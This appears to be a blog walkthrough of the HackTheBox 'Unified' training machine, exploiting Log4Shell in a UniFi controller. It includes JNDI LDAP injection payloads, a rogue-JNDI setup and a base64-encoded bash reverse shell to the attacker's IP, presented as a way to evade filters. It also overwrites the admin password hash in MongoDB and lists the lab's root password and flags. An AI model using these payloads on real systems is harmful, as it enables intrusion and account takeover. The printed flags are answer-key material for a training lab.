HackTheBox – Starting Point Phase – Tier 2/

HTB Labs — Tier 2— “Unified” Machine Walkthrough | By: CyberAlp0

AUTHORCyberAlp0
PUBLISHEDJuly 5, 2026
READ TIME19 MIN
HTB Labs — Tier 2— “Unified” Machine Walkthrough | By: CyberAlp0

Hey Folks, this is CyberAlp0. Welcome to a new walkthrough powered by HTB, Tier 2, named “Unified.” Unified is one of the VIP labs in HackTheBox — Tier 2— Starting Point Phase. It focuses on many aspects and strengthens skills like Vulnerability Assessment, Custom Applications, MongoDB, Databases, Java, Reconnaissance, Clear Text Credentials, Default Credentials, and Code Injection.

Executive Summary

Here is an executive summary of the steps we will follow:

We are dealing with a java-based web application that interacts with DB servers at the backend. The way the web application is dealing with the DB servers is through an API. This API is a JNDI API that provides naming and directory functionality in Java applications, allowing Java applications to look up resources like databases, services, and other objects.

This lookup request will enable us to understand the technologies that are used in the database servers at the backend. We later find out that the DB servers are MongoDB. We inject a code in our JNDI LDAP lookup request to enable us to establish a reverse shell between the attacker and the target machine. This RCE (Remote Code Execution) will allow us to interact with the DB and enumerate all the users and their credentials. Using MongoDB commands, we will tamper with the administrator password to have a successful login to the web application and preform further activities like establishing SSH connection with the server to get the user and root flags.

Stage I: Scanning

Upon using Nmap service, it identifies four exposed ports: 22, 6789, 8080, and 8443. The service on port 8443 reveals a UniFi Network Controller (version 6.4.54), a Java-based application known to be vulnerable to CVE-2021–44228 (Log4Shell) — a critical remote code execution flaw affecting Log4j.

Upon the Nmap scan, we will find the following information

  • Service Running: UniFi Network Controller
  • Service Version: 6.4.54
  • Exposed Port: 22, 6789, 8080, and 8443

Stage II: Enumeration

During the enumeration phase, the focus shifts to validating and understanding the extent of this vulnerability. By intercepting login requests with Burp Suite and injecting crafted JNDI LDAP payloads, the attacker confirms Log4Shell exploitation by capturing outbound LDAP traffic with tcpdump on port 389. This behaviour exposes the internal architecture: the UniFi application communicates with a backend MongoDB database using JNDI lookups, enabling a path to influence how the application interacts with backend services.

Stage III: Exploiting

A rogue LDAP server is deployed using rogue-JNDI, paired with a base64-encoded reverse shell payload to execute arbitrary commands on the server. Once the reverse shell is established, deeper enumeration reveals MongoDB running on port 27117, giving direct access to the UniFi application’s backend data. Using MongoDB queries, users and credentials are enumerated, and the administrator’s password hash is replaced to gain full access to the UniFi web dashboard. This access exposes the device authentication credentials — including the root user’s password NotACrackablePassword4U2022 — enabling SSH login and retrieval of both user and root flags.

Step 1: Exploiting the vulnerability

Exploiting the log4j vulnerability and opening a session between the attacker and the database.
Exploiting the log4j vulnerability and opening a session between the attacker and the database.

Step 2: Interacting with the DB to get the admin password

Establishing an RCE with the DB and logging into the web application for post post-exploitation phase. Post exploitation phase includes privilege escalation and connecting using SSH to get both user and root flags.
Establishing an RCE with the DB and logging into the web application for post post-exploitation phase. Post exploitation phase includes privilege escalation and connecting using SSH to get both user and root flags.

Let’s not waste more time on the introduction and begin hacking!

Step 1: Connecting to the Starting Point Labs Servers.

To attack the target machine, you have to be on the same network. You can read my blog which will guide you step-by-step into connecting to the target machine.

Step 2: Spawning the Machine and Starting to Solve the Tasks.

Task 1: What are the first four open ports?

Answer: 22,6789,8080,8443

Walkthrough:

By using Nmap for scanning the target, you will notice that 4 services are running over 4 different ports. These ports are:

  • Port 22: Commonly used for secure remote administration of servers and secure file transfers (SSH, SFTP). It encrypts the client and server communication to protect against eavesdropping and man-in-the-middle attacks.
  • Port 6789: Often associated with specific services or applications, such as IBM DB2
  • Port 8080: Commonly used as an alternative port for web traffic, especially for web servers or proxies. It is often used for testing or development environments and for applications that require a different port than the default HTTP port (80).
  • Port 8443: Typically used for secure web applications, particularly as an alternative to the standard HTTPS port (443). It can be used for administration interfaces, application servers, or APIs that require secure communication.
Output of the Nmap scanning over the target. There first 3 ports serving 3 different services.
Output of the Nmap scanning over the target. There first 3 ports serving 3 different services.
The last port is 8443 which serves the service ssl/nagios-nsca Nagios NSCA.
The last port is 8443 which serves the service ssl/nagios-nsca Nagios NSCA.

The command that will be used is

sudo nmap -sV -A -Pn 10.129.96.149

Here’s a small breakdown of the command to understand the usage of different options:

  • -sV: This option enables version detection. Nmap will attempt to determine the version of the services running on open ports.
  • -A: This option enables OS detection, version detection, script scanning, and traceroute. It provides a comprehensive overview of the target, gathering as much information as possible about the operating system and services.
  • -Pn: This option tells Nmap to skip the host discovery phase (i.e., it assumes the host is up). This is useful if you suspect that ICMP ping requests (used for host discovery) might be blocked by a firewall.

Task 2: What is the title of the software that is running on port 8443?

Answer: Unifi Network

Walkthrough:

According to the previous screenshot, we can determine that the software running on port 8443 is called “UniFi Network”.

UniFi Network is a product line from Ubiquiti Networks that provides a range of networking equipment and software for managing and controlling local area networks (LANs). The UniFi ecosystem includes wireless access points, switches, routers, and security gateways designed for both home and enterprise environments.

Some common ports are used by the UniFi service. most important of which are:

Most common ports used for the UniFi Services. Some ports are using HTTP and other using HTTPS.
Most common ports used for the UniFi Services. Some ports are using HTTP and other using HTTPS.
To make it easier for you to remember, any port that ends with 43 is secured, i.e used HTTPS.

Task 3: What is the version of the software that is running?

Answer: 6.4.54

Walkthrough:

Since we now already know that there is a service called Unifi Network that is running over port 8443, we can log into the target’s machine by typing the IP address followed by the port that is running through, just like follows:

HTTP://10.129.145.191:8443

You will find the following response:

“Bad Request: This combination of host and port requires TLS.”

“Bad Request: This combination of host and port requires TLS.”
“Bad Request: This combination of host and port requires TLS.”

The error message “Bad Request: This combination of host and port requires TLS” typically indicates that you’re trying to access a web service that requires a secure connection (HTTPS), but you’re using an insecure connection (HTTP).

To solve this issue, replace the “HTTP” with “HTTPS”. However, this response will appear; just click on “advanced” to “Accept The Risk & Continue”.

Accept the Risk and Continue to the web page. (The IP changed due to machine Reset.)
Accept the Risk and Continue to the web page. (The IP changed due to machine Reset.)
The Unifi target machine’s web login page.
The Unifi target machine’s web login page.

According to the web page, you shall notice that the version of the “Unifi” is 6.4.54.

Task 4: What is the CVE for the identified vulnerability?

Answer: CVE-2021–44228

Walkthrough:

CVE is short for “Common Vulnerabilities and Exposures”. It is a system that provides a reference method for publicly known information security vulnerabilities and exposures. Each CVE entry includes an identification number, a description of the vulnerability or exposure, and references to related vulnerabilities.

Upon searching for the service that is operating “Unifi Network” and its version number “6.4.54”, we found that there is an identified CVE for this version recorded as “CVE 2021–44228”. This means that this exploit was discovered in 2021 and assigned a unique number “44228”

CVE-2021–44228 is a specific identifier for a security vulnerability that was discovered in the Apache Log4j library, which is widely used for logging in Java applications (log 4 Java). This vulnerability is often referred to as “Log4Shell.”. This vulnerability allows an attacker to execute arbitrary code on a server or application running Log4j by sending specially crafted log messages.

For more information about this vulnerability and ways for mitigating it, visit the CVE Details website.

Task 5: What protocol does JNDI leverage in the injection?

Answer: ldap

Walkthrough:

Let’s understand first what JNDI is. JNDI “Java Naming and Directory Interface” is an API that provides naming and directory functionality in Java applications, allowing Java applications to look up resources like databases, services, and other objects.

In the context of Log4Shell, an attacker can craft a malicious log message that includes a JNDI lookup pointing to an attacker-controlled server. This log message is as follows:

${jndi:ldap://attacker IP:port/attribute}
Just replace the attacker IP with the Tun0 interface IP, the port with the ldap port, then replace the “a” with the suitable attribute. You will understand those variables later on this walkthrough.

When Log4j processes this log message, it performs the JNDI lookup using the JNDI API, which can lead to the execution of malicious code hosted on the attacker’s server.

What is JNDI, and how attackers exploit it to gain access to a java-based web application.
What is JNDI, and how attackers exploit it to gain access to a java-based web application.

Thus, the protocol that is used by the JNDI to leverage the exploitation is LDAP. This allows attackers to execute arbitrary code on the server where Log4j is running, leading to remote code execution vulnerabilities.

Task 6: What tool do we use to intercept the traffic, indicating the attack was successful?

Answer: tcpdump

Walkthrough:

We will be using tcpdump along with Burp for intercepting and analysing the traffic between the client and the server. This will allow us to make sure that the web application is infected with the log4j, and we can perform the ldap lookup request to see the response of the server. If there is a response, then this means the server is vulnerable.

For more details about configuring the Burp Suite in your Kali Linux, you may read my blog.

Steps to ensure the web application is infected with Log4j (POC).

Step 1: Open Burp and turn on the proxy intercept

Make sure to stay on the login page of the web application, as we will enter some random values in the fields to see the requests.

Entering random values in the username and the password fields.
Entering random values in the username and the password fields.

After intercepting the traffic, send the request to the repeater, so you may send the request and analyze the response. You will notice that there is an error message that indicates that the credentials we entered are invalid.

Step 2: Modify the request

In the Repeater tab, modify the HTTP request by injecting a JNDI lookup string.

${jndi:ldap://<Attacker-IP>:389/a}
Replace the IP with the tun0 IP in which you are connected to due to the VPN connection. The command is to be placed between “” at the remember field.

The “username” or “password” fields are good fields. We will modify the “username” field. Change the “username” field to include the JNDI payload. The modified request would look like this:

${jndi:ldap://10.10.16.161:389/a}

Step 3: ٍStart the tcpdump listener to intercept and analyze the traffic.

Once you edit the HTTP request in the burpsuite, open a terminal and start the tcpdump listener to see any incoming requests.

sudo tcpdump -i tun 0 port 389

Breakdown of the used command:

The -i option: it specifies the network interface on which to listen for traffic. In our case we are connected to the target mahcing through HTB VPN. you may kno your IP for tun0 interface through typing the command “ifconfig”.
Port 389: This part of the command is a filter that tells tcpdump to capture only packets that are sent to or from port 389.

Now, you may send the request after modifying the username field with the JNDI lookup request. At the same time, you may monitor the tcpdump response in the terminal.

I didn’t get any responses when injecting the JNDI lookup request at the username and password fields. Thus, I modified the “remember” field instead of the username and password fields. and I got the following response from tcpdump.

Injecting the JNDI lookup request in the remember field.
Injecting the JNDI lookup request in the remember field.
tcpdump captures requests.
tcpdump captures requests.
The “remember” field is typically used to store user preferences or session data. Its handling by the application may not include strict validation, making it a potential target for injection. Such fields often accept user input without sufficient sanitation, increasing the risk of exploitation.
Also, note that “remember” field is a boolean indicating whether the user should be remembered (e.g., for a “Remember Me” feature). Its value equals “false”, this means that the applicaiton will not remember the user after logging out.

Task 7: What port do we need to inspect intercepted traffic for?

Answer: 389

Walkthrough:

As per the last task, we will be injecting JNDI LDAP lookup. LDAP is the primary protocol used in many JNDI injection attacks. LDAP is widely used for accessing and maintaining distributed directory information services over an Internet Protocol (IP) network.

Common LDAP ports.
Common LDAP ports.

We used the unencrypted LDAP over port 389 with tcpdump to intercept all the traffic that came over port 389.

tcpdump captures requests over port 389 for testing purposes.
tcpdump captures requests over port 389 for testing purposes.

Now, we have proved that the application is vulnerable to log4j, since the web application is trying to connect to the LDAP server. This means that the backend is prompting to connect to the LDAP at the hacker’s end. However, there is now preconfigured LDAP at the attacker’s end, Thus, there is no connection established. Yet, we have a POC here!.

Let’s keep exploiting….

Task 8: What port is the MongoDB service running on?

Answer: 22117

Walkthrough:

Let’s summarize our findings so far before answering this:

We are dealing with a java-based web application that interacts with DB servers at the backend. The way the web application is dealing with the DB servers is through an API. This API is a JNDI API that provides naming and directory functionality in Java applications, allowing Java applications to look up resources like databases, services, and other objects.

When a user sends a request, the flow of requests typically follows this sequence:

1- The user “attacker” sends the request.The user will send an HTTP request to authenticate with the server hosting the Java application network, after intercepting and tampering with it using Burp, as explained before.

2- Request reaches the server hosting the Java application and processes it

The server receives the HTTP request. This server is responsible for handling incoming requests and routing them to the appropriate application components [Databases, messaging services, directory services].

3- JNDI API Lookup interaction

If the Java application needs to access resources (like a database, messaging service, or directory services), it uses the JNDI API to perform a lookup. In our case, we will interact with databases. The application may call methods on the JNDI API to retrieve the configuration for resources (e.g., database connection pools, LDAP servers). The JNDI API interacts with the underlying naming and directory services to locate the requested resources.

4- Database interaction

Once the JNDI lookup provides the necessary resource (such as a database connection), the Java application can use that connection to interact with the database or service. This may involve executing queries, retrieving data, or performing updates.

5- Building the response

After processing the request and potentially interacting with other resources, the Java application constructs a response (e.g., HTML page, JSON data) to send back to the client [Attacker].

6- Response is sent to the user [Attacker].

The server sends the constructed response back to the client, completing the request-response cycle. The attacker at his end will receive the LDAP authentication responses when using the tcpdump tool. Since there are no LDAP services running over port 389 on the attacker side, there will be no connection established.

As a Summary:
1- User → Sends HTTP request.
2- Server → Receives request and forwards it to the Java application.
3- Java Application → Processes request; uses JNDI API to look up resources.
4- JNDI API → Retrieves configuration or references for resources (like databases).
5- Resource Interaction → Java application interacts with the resource (e.g., querying the database).
6- Constructs Response → Builds the response based on the processing results and sends it to the user.
Log4j Exploit Workflow.
Log4j Exploit Workflow.

Now what we need to do is to try to receive those incoming connections from the database somehow. To achieve this, we will establish a rogue LDAP at our end, to make the database of the web application [MongoDB] bieleve that it is communicating with an LDAP instance. To achieve this, follow the following steps:

Step 1: Download rogue JNDI from GitHub

git clone https://github.com/veracode-research/rogue-jndi
Downloading rogue JNDI for the LDAP authentication.
Downloading rogue JNDI for the LDAP authentication.

Based on the description of the tool, we will install some other dependencies, such as maven and OpenJDK.

To install the openJDK, use the following command:

sudo apt install openjdk-11-jdk -y 
Installing OpenJDK.
Installing OpenJDK.

To install Maven, use the following command:

sudo apt install maven
installing maven.
installing maven.
You may need to update the operating system first before executing those commands. To update, run the following command “sudo apt update”

Step 2: Establishing the rogue JNDI

After you installed all the prerequisites, let’s now begin establishing the rogue JNDI.

Navigate to the rogue JNDI directory and execute the following command. This will generate a JAR file named “RogueJndi-1.1.jar” in the “rogue-jndi/target/” directory.

mvn package
Compiling the project source code is done and turned into a jar file.
Compiling the project source code is done and turned into a jar file.
Compiling the project source code is done and turned into a jar file.
Compiling the project source code is done and turned into a jar file.
The command “mvn package” is fundamental in Apache Maven, a popular build automation tool used primarily for Java projects. It is used to compile the project's source code, run tests, and package the compiled code into a distributable format, typically a JAR (Java Archive) or WAR (Web Application Archive) file. This command is part of the Maven build lifecycle.

Step 3: Create an encoded reverse shell to receive the incoming connections

Before we can execute the application, we first need to create our reverse shell payload and encode it in base64 to avoid any problems we may face.

In most web application penetration testing activities, developers configure some protection methods like WAF or specific firewalls (IDS/IPS) that filter and inspect the incoming requests or traffic. Since we are trying to connect using a reverse shell payload, we need to overcome any possible firewalls. Thus, we are encoding the requests and it will be decoded at the server’s end and excuetes the command.

Execute the following command to create the reverse shell and encode it using base64.

echo 'bash -c bash -i >&/dev/tcp/Tun0 IP/Port 0>&1' | base64
Encoding the reverse shell using base64 to avoid any encoding issues. The port of the reverse shell is set to 9001.
Encoding the reverse shell using base64 to avoid any encoding issues. The port of the reverse shell is set to 9001.
The purpose of this command is to create a base64-encoded string representation of a reverse shell command. When decoded and executed at the servers’ end, it establishes a reverse shell connection back to a specified IP and port, allowing remote control of the target system.
Breakdown of the command that is used in encoding the reverse shell.
Breakdown of the command that is used in encoding the reverse shell.

Step 4: Starting the Rogue JNDI to start the reverse connection

Now that we encoded the reverse shell using base64, we will initiate a command that utilizes this encoded reverse shell to establish the connection between the database and the attacker's machine.

As we have made use of the JNDI API and sent a LDAP lookup request and the database will send the response through the infected API. Then we just want to establish the connection at the attaker’s end. Encoding the reverse shell was essential to make sure all is set properly and the request bypasses any security controls.

To start the rogue JNDI reverse connection, write the following command on the terminal.

java -jar rogue-jndi/target/RogueJndi-1.1.jar --command "bash -c {echo,BASE64 STRING}|{base64,-d}|{bash,-i}"
You will need to change the parameters of the “BASE64 String” and replace it with the BASE64 String you have created and replace the Tun0 IP Address with your Tun0 IP Address. Exexute “ifconfig” to find it.
java -jar rogue-jndi/target/RogueJndi-1.1.jar --command "bash -c {echo,YmFzaCAtYyBiYXNoIC1pID4mL2Rldi90Y3AvMTAuMTAuMT
Running the Rogue JNDI Java application, which exploits a vulnerability (such as a JNDI injection) to execute a command on the host where it runs. The JNDI Java application is mapping any incoming requests over port 1389.
Running the Rogue JNDI Java application, which exploits a vulnerability (such as a JNDI injection) to execute a command on the host where it runs. The JNDI Java application is mapping any incoming requests over port 1389.
Breakdown of the command used to create the rogue JNDI and establish an interactive reverse shell.
Breakdown of the command used to create the rogue JNDI and establish an interactive reverse shell.

Now that we have started the Rogue JNDI and encoded the reverse shell to send the responses to our Tun0 IP over port 9001. We will again exploit the log4j vulnerability and use the burpsuite for this purpose by modifying the “remember” parameter in the post request.

Meanwhile, we will start the netcat listener to receive all the incoming connections “responds” that come from the database.

sudo nc -lnvp 9001
We will listen over the same port we configured the reverse shell on, which is 9001.
Listening over the port 9001 to receive the connections coming from the database.
Listening over the port 9001 to receive the connections coming from the database.
Executing the JNDI LDAP lookup query on the remember field to exploit the log4j.
Executing the JNDI LDAP lookup query on the remember field to exploit the log4j.

Now that we have established our connection successfully, we will stabilize our reverse shell to be more interactive using the following command

script /dev/null -c bash 
The reverse shell is now stable and interactive.
The reverse shell is now stable and interactive.

To figure out the running services on the server, type the following command

ps aux 
Viewing the running services in the background. We will notice that the DB is MongoDB.
Viewing the running services in the background. We will notice that the DB is MongoDB.

To view only what is related to MongoDB, use the grep command with the piping option as shown in the previous screenshot. We will notice that MongoDB is running on port 27117.

We have covered a machine that covered exploiting MongoDB. You may have a closer look at this walkthrough through this link.
Important Note: You may ask how we configured the rogue JNDI on port 1389, and we sent and preconfigured encoded request to the server over port 9001. Yet, the connection is established?. Here is the flow

How is the reverse shell established?
How is the reverse shell established?

Task 9: What is the default database name for UniFi applications?

Answer: ace

Walkthrough:

The default database name for UniFi applications is “ace”. This database is used by various UniFi Network Controller/Application components and stores configuration data, device information, statistics, and other operational data required by the UniFi ecosystem.

Task 10: What is the function we use to enumerate users within the database in MongoDB?

Answer: db.admin.find()

Walkthrough:

Now that we know that the database running is MongoDB, we will try to gather the users stored in the database by using the function “db.admin.find()”

mongo --port 27117 ace --eval "db.admin.find().forEach(printjson)"
The command connects to a MongoDB running on port 27117, accesses the ace database, and retrieves all documents from the admin collection. It then prints each document in a readable JSON format to the console.
The command connects to a MongoDB running on port 27117, accesses the ace database, and retrieves all documents from the admin collection. It then prints each document in a readable JSON format to the console.
Breakdown of the command used.
Breakdown of the command used.

Task 11: What is the function we use to update users within the database in MongoDB?

Answer: db.admin.update()

Walkthrough:

As per the screenshot, we have dumped all the users registered in the ace database. What is most important for us is the administrator user. The administrator user is named “X-shadow”. Since the password of the admin user is hashed and it will take ages for us to crack it, we will change the password using the “db.admin.update()” to our desired password.

Since the passwords used are hashed using the SHA-512 hash, we will hash our desired password to SHA-512 as well.

To hash the password, use the following command:

mkpasswd -m sha-512 thisiscyberAlp0
Using the mkpasswd command to create a hashed password of the password “thisiscybseralp0”. “-m” option is used for selecting the mode for creating the password.
Using the mkpasswd command to create a hashed password of the password “thisiscybseralp0”. “-m” option is used for selecting the mode for creating the password.

Use the following command to update the hashed password of the administrator.

mongo --port 27117 ace --eval 'db.admin.update({"_id":ObjectId("61ce278f46e0fb0012d47ee4")},{$set:{"x_shadow":"$6$p
Updating the hashed password of the administrator user.
Updating the hashed password of the administrator user.

Now the password is changed for the administrator. The new password is “thisiscyberalp0”.

The object ID is mentioned in the screenshot above. It is saved at MongoDB for each user.

Task 12: What is the password for the root user?

Answer: NotACrackablePassword4U2022

Walkthrough:

Now that we have changed the password of the administrator user, we will login using the updated password on the portal again. Navigate to the portal using the IP

https://10.129.26.89:8443/
Login using the username “administrator” and the password is “thisiscyberalp0”
Login using the username “administrator” and the password is “thisiscyberalp0”

After successful login, we will navigate to the “Site” dashboard from the left sidebar, and scroll down till reaching the device authentication. We will find the “root” user and the password “NotACrackablePassword4U2022”.

This root user is configured for device authentication. Also, the same root user is used for SSH login to the server.

Task 13: Submitting User Flag

Answer: 6ced1a6a89e666c0620cdb10262ba127

Walkthrough:

Since we have in hand the root user and the password, we will login using SSH connection. Establish the SSH connection using the following command:

ssh root@10.129.26.89
Establishing an SSH connection using the root user.
Establishing an SSH connection using the root user.

You will be asked to enter the password of the user. Paste it and press Enter, and you will be connected to the server.

Navigate to the /home directory and list the content of the directory using the “ll” command. You will find a text file called “user.txt”. View the content of the file using the command “cat user.txt”. The user flag is “6ced1a6a89e666c0620cdb10262ba127”.

The user flag
The user flag

Task 14: Submitting Root Flag

Answer: e50bc93c75b634e4b272d2f771c33681

Walkthrough:

The root flag text file is under the /root directory. You can view the content of this file using the cat command.

cat root.txt
Capturing the root flag.
Capturing the root flag.

The root flag of the “Unified” machine is “e50bc93c75b634e4b272d2f771c33681”

Hope you enjoyed reading my blog about solving Unified machine from HTB — Tier 2— Starting Point Phase.

See You in another write-up!

[ #unified ][ #Penetration Testing ][ #Kali Linux ][ #htb ][ #hackthebox ][ #writeup ][ #OSCP Preperations ][ #Web Application Penetration Testing ][ #Web Application Security ][ #cyberskii ][ #ippsec ][ #cyberalp0 ][ #Log4Shell ][ #log4j ]